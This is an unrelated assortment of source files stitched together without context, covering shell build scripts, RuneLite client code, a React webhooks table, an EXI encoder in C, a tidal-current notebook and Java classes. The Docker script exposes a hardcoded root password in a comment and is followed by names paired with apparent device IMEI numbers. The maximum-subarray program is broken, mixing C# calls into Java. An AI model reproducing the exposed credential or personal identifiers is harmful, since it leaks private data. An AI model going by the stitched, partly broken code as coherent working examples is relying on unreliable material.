aborting" done # Push additional libraries for target in $OT_LIBSX do infile="$ANDROID_PRODUCT_OUT/system/lib/${target}.so" echo "Pushing '$target' to '$OT_LIBSX_DEST'" adb push "$infile" "$OT_LIBSX_DEST" || fail "failed to push '$target', aborting" done # Push TAs for target in $OT_TAS do infile="$ANDROID_PRODUCT_OUT/system/lib/${target}.so" echo "Pushing '$target' to '$OT_TAS_DEST'" adb push "$infile" "$OT_TAS_DEST" || fail "failed to push '$target', aborting" done # Push config for target in $OT_CONFIG do infile="$OT_BASEDIR/${target}.android" echo "Pushing '$target' to '$OT_CONFIG_DEST'" adb push "$infile" "$OT_CONFIG_DEST/${target}" || fail "failed to push '$target', aborting" done # Done exit 0
#!/bin/bash # Retrieve the Node.js version and check for "0.10" node_version=$(node --version 2>&1) echo "$node_version" | grep "0.10" > /dev/null # Check the exit status of the grep command if [ "$?" -ne 0 ]; then echo "pass" else echo "fail" exit 1 fi
import net.runelite.mapping.Export; import net.runelite.mapping.ObfuscatedName; import net.runelite.mapping.ObfuscatedSignature; @ObfuscatedName("iq") public class class244 { @ObfuscatedName("bo") static String field2909; @ObfuscatedName("hs") @ObfuscatedSignature( descriptor = "[Loh;" ) @Export("mapDotSprites") static SpritePixels[] mapDotSprites; static { int var0 = 0; // L: 9 int var1 = 0; // L: 10 class239[] var2 = new class239[]{class239.field2869, class239.field2867}; // L: 14 class239[] var3 = var2; // L: 16 for (int var4 = 0; var4 < var3.length; ++var4) { // L: 17 class239 var5 = var3[var4]; // L: 18 if (var5.field2868 > var0) { // L: 20 var0 = var5.field2868; } if (var5.field2870 > var1) { // L: 21 var1 = var5.field2870; } } } // L: 25 @ObfuscatedName("e") @ObfuscatedSignature( descriptor = "(II)Z", garbageValue = "1279711513" ) public static boolean method4402(int var0) { return var0 == WorldMapDecorationType.field2837.id; // L: 46 } @ObfuscatedName("l") @ObfuscatedSignature( descriptor = "([BB)V", garbageValue = "-16" ) @Export("SpriteBuffer_decode") static void SpriteBuffer_decode(byte[] var0) { Buffer var1 = new Buffer(var0); // L: 217 var1.offset = var0.length - 2; // L: 218 class124.SpriteBuffer_spriteCount = var1.readUnsignedShort(); // L: 219 class0.SpriteBuffer_xOffsets = new int[class124.SpriteBuffer_spriteCount]; // L: 220 Interpreter.SpriteBuffer_yOffsets = new int[class124.SpriteBuffer_spriteCount]; // L: 221 class395.SpriteBuffer_spriteWidths = new int[class124.SpriteBuffer_spriteCount]; // L: 222 class157.SpriteBuffer_spriteHeights = new int[class124.SpriteBuffer_spriteCount]; // L: 223 class223.SpriteBuffer_pixels = new byte[class124.SpriteBuffer_spriteCount][]; // L: 224 var1.offset = var0.length - 7 - class124.SpriteBuffer_spriteCount * 8; // L: 225 class395.SpriteBuffer_spriteWidth = var1.readUnsignedShort(); // L: 226 class395.SpriteBuffer_spriteHeight = var1.readUnsignedShort(); // L: 227 int var2 = (var1.readUnsignedByte() & 255) + 1; // L: 228 int var3; for (var3 = 0; var3 < class124.SpriteBuffer_spriteCount; ++var3) { // L: 229 class0.SpriteBuffer_xOffsets[var3] = var1.readUnsignedShort(); } for (var3 = 0; var3 < class124.SpriteBuffer_spriteCount; ++var3) { // L: 230 Interpreter.SpriteBuffer_yOffsets[var3] = var1.readUnsignedShort(); } for (var3 = 0; var3 < class124.SpriteBuffer_spriteCount; ++var3) { // L: 231 class395.SpriteBuffer_spriteWidths[var3] = var1.readUnsignedShort(); } for (var3 = 0; var3 < class124.SpriteBuffer_spriteCount; ++var3) { // L: 232 class157.SpriteBuffer_spriteHeights[var3] = var1.readUnsignedShort(); } var1.offset = var0.length - 7 - class124.SpriteBuffer_spriteCount * 8 - (var2 - 1) * 3; // L: 233 Varps.SpriteBuffer_spritePalette = new int[var2]; // L: 234 for (var3 = 1; var3 < var2; ++var3) { // L: 235 Varps.SpriteBuffer_spritePalette[var3] = var1.readMedium(); // L: 236 if (Varps.SpriteBuffer_spritePalette[var3] == 0) { // L: 237 Varps.SpriteBuffer_spritePalette[var3] = 1; } } var1.offset = 0; // L: 239 for (var3 = 0; var3 < class124.SpriteBuffer_spriteCount; ++var3) { // L: 240 int var4 = class395.SpriteBuffer_spriteWidths[var3]; // L: 241 int var5 = class157.SpriteBuffer_spriteHeights[var3]; // L: 242 int var6 = var5 * var4; // L: 243 byte[] var7 = new byte[var6]; // L: 244 class223.SpriteBuffer_pixels[var3] = var7; // L: 245 int var8 = var1.readUnsignedByte(); // L: 246 int var9; if (var8 == 0) { // L: 247 for (var9 = 0; var9 < var6; ++var9) { // L: 248 var7[var9] = var1.readByte(); } } else if (var8 == 1) { // L: 250 for (var9 = 0; var9 < var4; ++var9) { // L: 251 for (int var10 = 0; var10 < var5; ++var10) { // L: 252 var7[var9 + var10 * var4] = var1.readByte(); // L: 253 } } } } } // L: 258 @ObfuscatedName("l") @ObfuscatedSignature( descriptor = "(Lhu;II)V", garbageValue = "-1802681685" ) @Export("Widget_setKeyIgnoreHeld") static final void Widget_setKeyIgnoreHeld(Widget var0, int var1) { if (var0.field2699 == null) { // L: 995 throw new RuntimeException(); // L: 996 } else { if (var0.field2653 == null) { // L: 998 var0.field2653 = new int[var0.field2699.length]; // L: 999 } var0.field2653[var1] = Integer.MAX_VALUE; // L: 1001 } } // L: 1002 }
import React from 'react' import MaterialTable from 'material-table' import axios from 'axios' class Webhooks extends React.Component { constructor (props) { super(props) this.state = { columns: [ { title: 'Owner', field: 'owner' }, { title: 'Repo', field: 'repo' }, { title: 'URL', field: 'url' }, ], data: [], options: { search: true, toolbar: true, paging: false, headerStyle: { backgroundColor: '#f0f0f0', padding: '5px' }, //change header padding //cellStyle:{ padding: '5px'} here not work for me } } this.setData() } setData () { window.eventBus.on('settings-init', (e) => { this.refresh() }) } refresh () { axios.get(`/webhooks/`) .then(resp => { let webhooks = resp.data let data = [] webhooks.forEach(hook => { data.push({ url: hook.url, owner: hook.owner, repo: hook.repo, _id: hook._id }) }) this.setState({ data }, () => {}) }).catch(err => { this.login(err) }) } login (err) { if (err.message.includes('403')) document.location.href = '/auth/github/' } render () { return <div> <MaterialTable title="Webhook Settings" columns={this.state.columns} data={this.state.data} options={this.state.options} editable={{ onRowAdd: newData => new Promise((resolve, reject) => { axios.post('/webhooks/', newData).then((resp) => { this.refresh() resolve() }).catch(err => { this.refresh() resolve() }) }), onRowUpdate: (newData, oldData) => new Promise((resolve, reject) => { axios.post('/webhooks/', newData).then((resp) => { this.refresh() resolve() }).catch(err => { this.refresh() resolve() }) }), onRowDelete: oldData => new Promise((resolve, reject) => { axios.delete(`/webhooks/${oldData._id}`, oldData).then((resp) => { this.refresh() resolve() }).catch(err => { this.refresh() resolve() }) }), }} /> </div> } } export default Webhooks
package com.atlassian.jira.tests; import com.atlassian.jira.pageobjects.JiraTestedProduct; import com.atlassian.jira.pageobjects.config.EnvironmentBasedProductInstance; import com.google.common.base.Preconditions; import org.junit.rules.ExternalResource; public class JiraTestedProductHelper extends ExternalResource { public JiraTestedProduct jira; @Override protected void before() throws Throwable { jira = new JiraTestedProduct(new EnvironmentBasedProductInstance()); } @Override protected void after() { jira = null; } public JiraTestedProduct jira() { Preconditions.checkNotNull(jira); return jira; } }
SELECT last_name, COUNT(*) FROM Employees GROUP BY last_name ORDER BY COUNT(*) DESC LIMIT 10;
<gh_stars>0 export * from "./dumb-security";
#!/bin/bash set -e if [ $# -eq 6 ] then ENVIRONMENT=${1} echo "ENVIRONMENT :::>>> ${ENVIRONMENT}" MICROSERVICE=${2} echo "MICROSERVICE :::>>> ${MICROSERVICE}" PORT=${3} echo "PORT :::>>> ${PORT}" VERSION=${4} echo "VERSION :::>>> ${VERSION}" DOCKER_REGISTRY_HOST=${5} echo "DOCKER_REGISTRY_HOST :::>>> ${DOCKER_REGISTRY_HOST}" DOCKER_REGISTRY_PORT=${6} echo "DOCKER_REGISTRY_PORT :::>>> ${DOCKER_REGISTRY_PORT}" else echo "Usage: . ./blastKUBE.sh <<ENVIRONMENT>> <<MICROSERVICE>> <<PORT>> <<VERSION>> <<DOCKER_REGISTRY_HOST>> <<DOCKER_REGISTRY_PORT>>" exit 1 fi # KUBE Microservice running as Docker Container # -------------------------------------------- # https://localhost:20024/kube/customers/info/index.html # KUBE Microservice Docker Container sudo/root Password # ---------------- # welcome1 ################### ###ONLY SET THIS### ################### KUBE_TOOLBOX_HOME=${PWD} KUBE_HOME=${PWD}/../../../ KUBE_DOCKER_HOST_HOME=/opt/mw docker ps docker images #Stop and Remove currently running (If any!) Docker Containers for SCN Weblogic Image echo "STOPPING :::>>> KUBE Docker Container ::: [[[ " + ${MICROSERVICE} + " ]]] in [[[ " + ${ENVIRONMENT} + " ]]]..." docker rm -f $(docker stop $(docker ps -a -q -f name=${MICROSERVICE})) | true #docker rm -f $(docker stop $(docker ps -a -q -f name=kube-customers)) | true echo "STOPPED :::>>> KUBE Docker Container ::: [[[ " + ${MICROSERVICE} + " ]]] in [[[ " + ${ENVIRONMENT} + " ]]]..." #Remove Docker KUBE Image echo "STOPPING :::>>> KUBE Docker Image ::: [[[ " + ${MICROSERVICE} + " ]]] in [[[ " + ${ENVIRONMENT} + " ]]]..." docker rmi -f $(docker images | grep ${MICROSERVICE}) | true docker rmi -f $(docker images | grep none) | true echo "STOPPED :::>>> KUBE Docker Image ::: [[[ " + ${MICROSERVICE} + " ]]] in [[[ " + ${ENVIRONMENT} + " ]]]..." #docker exec kube-docker-registry rm -rf /var/lib/registry/docker/registry/v2/repositories/securus/mw/kube/ #docker exec kube-docker-registry bin/registry garbage-collect --dry-run /etc/docker/registry/config.yml #docker exec kube-docker-registry bin/registry garbage-collect /etc/docker/registry/config.yml # #docker stop kube-docker-registry #docker start kube-docker-registry docker ps docker images rm -rf ${KUBE_TOOLBOX_HOME}/build/${MICROSERVICE}*.jar cp ${KUBE_HOME}/${MICROSERVICE}/build/libs/${MICROSERVICE}*.jar ${KUBE_TOOLBOX_HOME}/build/ chmod 700 ${KUBE_TOOLBOX_HOME}/build/*.jar cd ${KUBE_TOOLBOX_HOME}/build/ echo "BUILDING :::>>> KUBE Docker Image ::: [[[ " + ${MICROSERVICE} + " ]]] in [[[ " + ${ENVIRONMENT} + " ]]]..." docker build --build-arg kubeMicroservice=${MICROSERVICE} -t ${DOCKER_REGISTRY_HOST}:${DOCKER_REGISTRY_PORT}/${MICROSERVICE}:${VERSION} . echo "BUILT :::>>> KUBE Docker Image ::: [[[ " + ${MICROSERVICE} + " ]]] in [[[ " + ${ENVIRONMENT} + " ]]]..." docker ps docker images echo "PUSHING :::>>> KUBE Docker Image to Docker Registry ::: [[[ " + ${MICROSERVICE} + " ]]]..." docker push ${DOCKER_REGISTRY_HOST}:${DOCKER_REGISTRY_PORT}/${MICROSERVICE}:${VERSION} echo "PUSHED :::>>> KUBE Docker Image to Docker Registry ::: [[[ " + ${MICROSERVICE} + " ]]]..." #Remove LOCAL Docker KUBE Image echo "DELETING LOCAL :::>>> KUBE Docker Image ::: [[[ " + ${MICROSERVICE} + " ]]]..." docker rmi -f $(docker images | grep ${MICROSERVICE}) | true echo "DELETED LOCAL :::>>> KUBE Docker Image ::: [[[ " + ${MICROSERVICE} + " ]]]..." INSTANCE=$(ipconfig getifaddr en0) echo "STARTING :::>>> KUBE Docker Container ::: [[[ " + ${MICROSERVICE} + " ]]] in [[[ " + ${ENVIRONMENT} + " ]]] on [[[ " + ${INSTANCE} + " ]]]..." docker run -dti \ -p ${PORT}:${PORT}/tcp \ --hostname=ld-midsrvcs06.lab.securustech.net \ --memory="1g" --memory-swap="2g" \ --name ${MICROSERVICE}-${VERSION} \ --mount type=bind,source="${KUBE_DOCKER_HOST_HOME}/mount",target=/opt/mw/mount \ ${DOCKER_REGISTRY_HOST}:${DOCKER_REGISTRY_PORT}/${MICROSERVICE}:${VERSION} ${ENVIRONMENT} ${MICROSERVICE} ${INSTANCE} 8761 echo "STARTED :::>>> KUBE Docker Container ::: [[[ " + ${MICROSERVICE} + " ]]] in [[[ " + ${ENVIRONMENT} + " ]]]..." docker ps rm -rf ${KUBE_TOOLBOX_HOME}/build/${MICROSERVICE}*.jar ###FOR MAC & WINDOWS POWERSHELL### docker exec -it ${MICROSERVICE}-${VERSION} bash ###FOR WINDOWS GIT BASH### #winpty docker exec -it wlsadmin bash Himanshu - 3763 - XS - 357205095529495 Prarthana - 7858 - 8 - 354877090170815 Krunal - 8933 - 8P - 359499086347854
# coding: utf-8 # In[7]: import pytz from datetime import datetime from pandas import date_range import iris import warnings import pyugrid # In[8]: with warnings.catch_warnings(): warnings.simplefilter("ignore") # ncfile = ('http://geoport.whoi.edu/thredds/dodsC/usgs/vault0/models/tides/' # 'vdatum_gulf_of_maine/adcirc54_38_orig.nc') url = ('http://geoport.whoi.edu/thredds/dodsC/usgs/vault0/models/tides/' 'vdatum_fl_sab/adcirc54.nc') cubes = iris.load_raw(url) print(cubes) # In[9]: units = dict({'knots': 1.9438, 'm/s': 1.0}) consts = ['STEADY', 'M2', 'S2', 'N2', 'K1', 'O1', 'P1', 'M4', 'M6'] bbox = [-70.7234, -70.4532, 41.4258, 41.5643] # Vineyard sound 2. bbox = [-85.25, -84.75, 29.58, 29.83] # Apalachicola Bay halo = 0.1 ax2 = [bbox[0] - halo * (bbox[1] - bbox[0]), bbox[1] + halo * (bbox[1] - bbox[0]), bbox[2] - halo * (bbox[3] - bbox[2]), bbox[3] + halo * (bbox[3] - bbox[2])] # In[10]: start = datetime.strptime('18-Sep-2015 05:00', '%d-%b-%Y %H:%M').replace(tzinfo=pytz.utc) stop = datetime.strptime('19-Sep-2015 05:00', # '18-Sep-2015 18:00' '%d-%b-%Y %H:%M').replace(tzinfo=pytz.utc) dt = 1.0 # Hours. glocals = date_range(start, stop, freq='1H').to_pydatetime() ntimes = len(glocals) # In[11]: def parse_string(name): return ''.join(name.tolist()).strip() names = [] data = cubes.extract_strict('Tide Constituent').data for name in data: names.append(parse_string(name)) # In[12]: ug = pyugrid.UGrid.from_ncfile(url) lonf = ug.nodes[:,0] latf = ug.nodes[:,1] nv = ug.faces[:] frequency = cubes.extract_strict('Tide Frequency').data # In[ ]: # Find indices in box. import numpy as np inbox = np.logical_and(np.logical_and(lonf >= ax2[0], lonf <= ax2[1]), np.logical_and(latf >= ax2[2], latf <= ax2[3])) lon = lonf[inbox] lat = latf[inbox] # In[ ]: import os.path from scipy.io import loadmat mat = os.path.join('..', 't_tide_v1.3beta', 't_constituents.mat') con_info = loadmat(mat, squeeze_me=True) con_info = con_info['const'] # I am ignore shallow water and sat constants! # In[ ]: from utide import _ut_constants_fname from utide.utilities import loadmatbunch con_info = loadmatbunch(_ut_constants_fname)['const'] # In[ ]: # Find the indices of the tidal constituents. k = 0 ind_nc, ind_ttide = [], [] const_name = [e.strip() for e in con_info['name'].tolist()] for name in consts: try: if name == 'STEADY': indx = const_name.index('Z0') else: indx = const_name.index(name) k += 1 ind_ttide.append(indx) ind_nc.append(names.index(name)) except ValueError: pass # `const` not found. # In[ ]: ua = cubes.extract_strict('Eastward Water Velocity Amplitude') up = cubes.extract_strict('Eastward Water Velocity Phase') va = cubes.extract_strict('Northward Water Velocity Amplitude') vp = cubes.extract_strict('Northward Water Velocity Phase') # In[ ]: ua.shape # In[ ]: uamp = ua.data[0, inbox, :][:, ind_nc] vamp = va.data[0, inbox, :][:, ind_nc] upha = up.data[0, inbox, :][:, ind_nc] vpha = vp.data[0, inbox, :][:, ind_nc] # In[ ]: freq_nc = frequency[ind_nc] # In[ ]: print uamp.shape print freq_nc.shape # In[ ]: freq_ttide = con_info['freq'][ind_ttide] # In[ ]: t_tide_names = np.array(const_name)[ind_ttide] # In[ ]: omega_ttide = 2*np.pi * freq_ttide # Convert from radians/s to radians/hour. omega = freq_nc * 3600 rllat = 55 # Reference latitude for 3rd order satellites (degrees) (55 is fine always) # In[ ]: from matplotlib.dates import date2num # Convert to Matlab datenum. # (Soon UTide will take python datetime objects.) jd_start = date2num(start) + 366.1667 # In[ ]: from utide.harmonics import FUV # NB: I am not a 100% sure if this is identical to what we had with t_tide. # ngflgs -> [NodsatLint NodsatNone GwchLint GwchNone] v, u, f = FUV(t=np.array([jd_start]), tref=np.array([0]), lind=np.array([ind_ttide]), lat=55, ngflgs=[0, 0, 0, 0]) # In[ ]: # Convert phase in radians. v, u, f = map(np.squeeze, (v, u, f)) v = v * 2 * np.pi u = u * 2 * np.pi thours = np.array([d.total_seconds() for d in (glocals - glocals[0])]) / 60 / 60. # In[ ]: get_ipython().magic(u'matplotlib inline') import matplotlib.pyplot as plt from JSAnimation import IPython_display from matplotlib.animation import FuncAnimation def update_figure(k): global ax, fig ax.cla() U = (f * uamp * np.cos(v + thours[k] * omega + u - upha * np.pi/180)).sum(axis=1) V = (f * vamp * np.cos(v + thours[k] * omega + u - vpha * np.pi/180)).sum(axis=1) w = units['knots'] * (U + 1j * V) wf = np.NaN * np.ones_like(lonf, dtype=w.dtype) wf[inbox] = w # FIXME: Cannot use masked arrays and tricontour! # wf = ma.masked_invalid(wf) # cs = ax.tricontour(lonf, latf, trif, np.abs(wf).filled(fill_value=0)) # fig.colorbar(cs) q = ax.quiver(lon, lat, U, V, scale=40) ax.axis(bbox) # Vineyard sound 2. ax.set_title('{}'.format(glocals[k])) fig, ax = plt.subplots(figsize=(7, 5)) FuncAnimation(fig, update_figure, interval=100, frames=ntimes) # In[ ]: plt.figure(figsize=(12,12)) U = (f * uamp * np.cos(v + thours[k] * omega + u - upha * np.pi/180)).sum(axis=1) V = (f * vamp * np.cos(v + thours[k] * omega + u - vpha * np.pi/180)).sum(axis=1) w = units['knots'] * (U + 1j * V) wf = np.NaN * np.ones_like(lonf, dtype=w.dtype) wf[inbox] = w # FIXME: Cannot use masked arrays and tricontour! # wf = ma.masked_invalid(wf) # cs = ax.tricontour(lonf, latf, trif, np.abs(wf).filled(fill_value=0)) # fig.colorbar(cs) q = plt.quiver(lon, lat, U, V, scale=40) plt.axis(bbox) # Vineyard sound 2. #q.set_title('{}'.format(glocals[k])) # In[ ]: iris.__version__ # In[ ]:
public class MaximumSum { // Function to get maximum sum of sub-array static int maxSubArraySum(int a[], int size) { int max_so_far = a[0]; int curr_max = a[0]; for (int i = 1; i < size; i++) { curr_max = Math.Max(a[i], curr_max + a[i]); max_so_far = Math.Max(max_so_far, curr_max); } return max_so_far; } // Driver program to test maxSubArraySum public static void Main() { int[] a = { -2, 1, -3, 4, -1, 2, 1, -5, 4 }; int n = a.length; int max_sum = maxSubArraySum(a, n); Console.WriteLine("Maximum contiguous sum is " + max_sum); } } // Output: Maximum contiguous sum is 6
/*==================================================================*\ | EXIP - Embeddable EXI Processor in C | |--------------------------------------------------------------------| | This work is licensed under BSD 3-Clause License | | The full license terms and conditions are located in LICENSE.txt | \===================================================================*/ /** * @file streamEncode.c * @brief Implements an interface to a higher-level EXI stream encoder - encode basic EXI types * * @date Oct 26, 2010 * @author <NAME> * @version 0.5 * @par[Revision] $Id$ */ #include "streamEncode.h" #include "streamWrite.h" #include "stringManipulate.h" #include "ioUtil.h" #include <math.h> errorCode encodeNBitUnsignedInteger(EXIStream* strm, unsigned char n, unsigned int int_val) { DEBUG_MSG(INFO, DEBUG_STREAM_IO, (">> %d [0x%X] (%u bits)", int_val, int_val, n)); if(WITH_COMPRESSION(strm->header.opts.enumOpt) == FALSE && GET_ALIGNMENT(strm->header.opts.enumOpt) == BIT_PACKED) { return writeNBits(strm, n, int_val); } else { unsigned int byte_number = n / 8 + (n % 8 != 0); int tmp_byte_buf; unsigned int i; if(strm->buffer.bufLen < strm->context.bufferIndx + byte_number) { // The buffer end is reached: there are fewer than nbits bits left in the buffer // Flush the buffer if possible errorCode tmp_err_code = EXIP_UNEXPECTED_ERROR; TRY(writeEncodedEXIChunk(strm)); } for(i = 0; i < byte_number*8; i += 8) { tmp_byte_buf = (int_val >> i) & 0xFF; strm->buffer.buf[strm->context.bufferIndx] = tmp_byte_buf; strm->context.bufferIndx++; } } return EXIP_OK; } errorCode encodeBoolean(EXIStream* strm, boolean bool_val) { //TODO: when pattern facets are available in the schema datatype - handle it differently DEBUG_MSG(INFO, DEBUG_STREAM_IO, (">> 0x%X (bool)", bool_val)); return encodeNBitUnsignedInteger(strm, 1, bool_val); } errorCode encodeUnsignedInteger(EXIStream* strm, UnsignedInteger int_val) { errorCode tmp_err_code = EXIP_UNEXPECTED_ERROR; unsigned int tmp_byte_buf = 0; DEBUG_MSG(INFO, DEBUG_STREAM_IO, (" Write %lu (unsigned)\n", (long unsigned int)int_val)); do { tmp_byte_buf = (unsigned int) (int_val & 0x7F); int_val = int_val >> 7; if(int_val) tmp_byte_buf |= 0x80; DEBUG_MSG(INFO, DEBUG_STREAM_IO, (">> 0x%.2X", tmp_byte_buf)); TRY(writeNBits(strm, 8, tmp_byte_buf)); } while(int_val); return EXIP_OK; } errorCode encodeString(EXIStream* strm, const String* string_val) { // Assume no Restricted Character Set is defined //TODO: Handle the case when Restricted Character Set is defined errorCode tmp_err_code = EXIP_UNEXPECTED_ERROR; DEBUG_MSG(INFO, DEBUG_STREAM_IO, (" Prepare to write string")); TRY(encodeUnsignedInteger(strm, (UnsignedInteger)(string_val->length))); return encodeStringOnly(strm, string_val); } errorCode encodeStringOnly(EXIStream* strm, const String* string_val) { // Assume no Restricted Character Set is defined //TODO: Handle the case when Restricted Character Set is defined errorCode tmp_err_code = EXIP_UNEXPECTED_ERROR; uint32_t tmp_val = 0; Index i = 0; Index readerPosition = 0; #if DEBUG_STREAM_IO == ON && EXIP_DEBUG_LEVEL == INFO DEBUG_MSG(INFO, DEBUG_STREAM_IO, ("\n Write string, len %u: ", (unsigned int) string_val->length)); printString(string_val); DEBUG_MSG(INFO, DEBUG_STREAM_IO, ("\n")); #endif for(i = 0; i < string_val->length; i++) { tmp_val = readCharFromString(string_val, &readerPosition); TRY(encodeUnsignedInteger(strm, (UnsignedInteger) tmp_val)); } return EXIP_OK; } errorCode encodeBinary(EXIStream* strm, char* binary_val, Index nbytes) { errorCode tmp_err_code = EXIP_UNEXPECTED_ERROR; Index i = 0; TRY(encodeUnsignedInteger(strm, (UnsignedInteger) nbytes)); DEBUG_MSG(INFO, DEBUG_STREAM_IO, (" Write %u (binary bytes)\n", (unsigned int) nbytes)); for(i = 0; i < nbytes; i++) { TRY(writeNBits(strm, 8, (unsigned int) binary_val[i])); } DEBUG_MSG(INFO, DEBUG_STREAM_IO, ("\n")); return EXIP_OK; } errorCode encodeIntegerValue(EXIStream* strm, Integer sint_val) { errorCode tmp_err_code = EXIP_UNEXPECTED_ERROR; UnsignedInteger uval; unsigned char sign; if(sint_val >= 0) { sign = 0; uval = (UnsignedInteger) sint_val; } else { sint_val += 1; uval = (UnsignedInteger) -sint_val; sign = 1; } DEBUG_MSG(INFO, DEBUG_STREAM_IO, (" Write %ld (signed)", (long int)sint_val)); TRY(writeNextBit(strm, sign)); DEBUG_MSG(INFO, DEBUG_STREAM_IO, ("\n")); return encodeUnsignedInteger(strm, uval); } errorCode encodeDecimalValue(EXIStream* strm, Decimal dec_val) { errorCode tmp_err_code = EXIP_UNEXPECTED_ERROR; boolean sign; UnsignedInteger integr_part = 0; UnsignedInteger fract_part_rev = 0; UnsignedInteger m; int e = dec_val.exponent; if(dec_val.mantissa >= 0) { sign = FALSE; integr_part = (UnsignedInteger) dec_val.mantissa; } else { sign = TRUE; integr_part = (UnsignedInteger) -dec_val.mantissa; } m = integr_part; TRY(encodeBoolean(strm, sign)); if(dec_val.exponent > 0) { while(e) { integr_part = integr_part*10; e--; } } else if(dec_val.exponent < 0) { while(e) { integr_part = integr_part/10; e++; } } TRY(encodeUnsignedInteger(strm, integr_part)); e = dec_val.exponent; while(e < 0) { fract_part_rev = fract_part_rev*10 + m%10; m = m/10; e++; } TRY(encodeUnsignedInteger(strm, fract_part_rev)); return EXIP_OK; } errorCode encodeFloatValue(EXIStream* strm, Float fl_val) { errorCode tmp_err_code = EXIP_UNEXPECTED_ERROR; DEBUG_MSG(ERROR, DEBUG_STREAM_IO, (">Float value: %ldE%d\n", (long int)fl_val.mantissa, fl_val.exponent)); TRY(encodeIntegerValue(strm, (Integer) fl_val.mantissa)); //encode mantissa TRY(encodeIntegerValue(strm, (Integer) fl_val.exponent)); //encode exponent return EXIP_OK; } errorCode encodeDateTimeValue(EXIStream* strm, EXIType dtType, EXIPDateTime dt_val) { errorCode tmp_err_code = EXIP_UNEXPECTED_ERROR; if(dtType == VALUE_TYPE_DATE_TIME || dtType == VALUE_TYPE_DATE || dtType == VALUE_TYPE_YEAR) { /* Year component */ TRY(encodeIntegerValue(strm, (Integer) dt_val.dateTime.tm_year - 100)); } if(dtType == VALUE_TYPE_DATE_TIME || dtType == VALUE_TYPE_DATE || dtType == VALUE_TYPE_MONTH) { /* MonthDay component */ unsigned int monDay = 0; monDay = dt_val.dateTime.tm_mon + 1; monDay = monDay * 32; monDay += dt_val.dateTime.tm_mday; TRY(encodeNBitUnsignedInteger(strm, 9, monDay)); } if(dtType == VALUE_TYPE_DATE_TIME || dtType == VALUE_TYPE_TIME) { /* Time component */ unsigned int timeVal = 0; timeVal += dt_val.dateTime.tm_hour; timeVal = timeVal * 64; timeVal += dt_val.dateTime.tm_min; timeVal = timeVal * 64; timeVal += dt_val.dateTime.tm_sec; TRY(encodeNBitUnsignedInteger(strm, 17, timeVal)); if(IS_PRESENT(dt_val.presenceMask, FRACT_PRESENCE)) { /* FractionalSecs component */ UnsignedInteger fSecs = 0; unsigned int tmp; unsigned int i = 1; unsigned int j = 0; tmp = dt_val.fSecs.value; while(tmp != 0) { fSecs = fSecs*i + (tmp % 10); tmp = tmp / 10; i = 10; j++; } for(i = 0; i < dt_val.fSecs.offset + 1 - j; j++) { fSecs = fSecs*10; } TRY(encodeBoolean(strm, TRUE)); TRY(encodeUnsignedInteger(strm, fSecs)); } else { TRY(encodeBoolean(strm, FALSE)); } } if(IS_PRESENT(dt_val.presenceMask, TZONE_PRESENCE)) { // 11-bit Unsigned Integer representing a signed integer offset by 896 unsigned int timeZone = 896; TRY(encodeBoolean(strm, TRUE)); if(dt_val.TimeZone < -896) { timeZone = 0; DEBUG_MSG(WARNING, DEBUG_STREAM_IO, (">Invalid TimeZone value: %d\n", dt_val.TimeZone)); } else if(dt_val.TimeZone > 955) { timeZone = 955; DEBUG_MSG(WARNING, DEBUG_STREAM_IO, (">Invalid TimeZone value: %d\n", dt_val.TimeZone)); } else timeZone += dt_val.TimeZone; TRY(encodeNBitUnsignedInteger(strm, 11, timeZone)); } else { TRY(encodeBoolean(strm, FALSE)); } return EXIP_OK; } errorCode writeEventCode(EXIStream* strm, EventCode ec) { errorCode tmp_err_code = EXIP_UNEXPECTED_ERROR; int i; for(i = 0; i < ec.length; i++) { TRY(encodeNBitUnsignedInteger(strm, ec.bits[i], (unsigned int) ec.part[i])); } return EXIP_OK; }
#!/usr/bin/env bash echo "*** start configuration ***" if [ -z "$npm_package_config_port" ]; then echo "No port config found in package.json, Meteor will run on 3000"; else echo "Port settled to $npm_package_config_port" export PORT=$npm_package_config_port; fi if [ -z "$npm_package_config_rooturl" ]; then echo "No root_url config found in package.json"; else echo "ROOT_URL settled to $npm_package_config_rooturl" export ROOT_URL=$npm_package_config_rooturl; fi if [ -z "$npm_package_config_mongourl" ]; then echo "No mongo_url config found in package.json, Meteor will use internal mongo"; else echo "MONGO_URL settled to $npm_package_config_mongourl" export MONGO_URL=$npm_package_config_mongourl; fi if [ -z "$npm_package_config_mailurl" ]; then echo "No mail_url config found in package.json"; else echo "MAIL_URL settled to $npm_package_config_mailurl" export MAIL_URL=$npm_package_config_mailurl; fi echo "*** end configuration ***" # start with specified if [ -z "$npm_package_config_settingsfile" ] || [ -f $npm_package_config_settingsfile ]; then echo "Start meteor without settings" && meteor; else echo "Start meteor with settings file $npm_package_config_settingsfile" meteor --settings $npm_package_config_settingsfile; fi
/* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package shopcar.repository; import java.util.List; import javax.inject.Inject; import shopcar.entities.Modelo; import shopcar.repository.JpaDAO; /** * * @author Aluno */ public class ModeloDAO { @Inject private JpaDAO<Modelo> daoModelo; public ModeloDAO() { } public List<Modelo> listAllModelosByMarca(Object value) { List<Modelo> resultList = daoModelo.getByRestriction (Modelo.MODELOS_BY_MARCA, "marca" , value); return resultList; } }
/* * */ package net.community.chest.jfree.jfreechart.axis; import net.community.chest.dom.DOMUtils; import net.community.chest.dom.proxy.XmlProxyConvertible; import net.community.chest.dom.transform.XmlConvertible; import org.jfree.chart.axis.AxisSpace; import org.w3c.dom.Document; import org.w3c.dom.Element; /** * <P>Copyright 2008 as per GPLv2</P> * * @author <NAME>. * @since Feb 8, 2009 10:02:11 AM */ public class BaseAxisSpace extends AxisSpace implements XmlConvertible<BaseAxisSpace> { /** * */ private static final long serialVersionUID = 5290573761488620755L; public BaseAxisSpace () { super(); } public XmlProxyConvertible<? extends AxisSpace> getAxisSpaceConverter (Element elem) { return (null == elem) ? null : AxisSpaceReflectiveProxy.AXISSPACE; } /* * @see net.community.chest.dom.transform.XmlConvertible#fromXml(org.w3c.dom.Element) */ @Override public BaseAxisSpace fromXml (Element elem) throws Exception { final XmlProxyConvertible<? extends AxisSpace> proxy=getAxisSpaceConverter(elem); @SuppressWarnings({ "unchecked", "rawtypes" }) final Object o= ((XmlProxyConvertible) proxy).fromXml(this, elem); if (o != this) throw new IllegalStateException("fromXml(" + DOMUtils.toString(elem) + ") mismatched reconstructed instances"); return this; } public BaseAxisSpace (Element elem) throws Exception { final Object o=fromXml(elem); if (o != this) throw new IllegalStateException("<init>(" + DOMUtils.toString(elem) + ") mismatched reconstructed instances"); } /* * @see 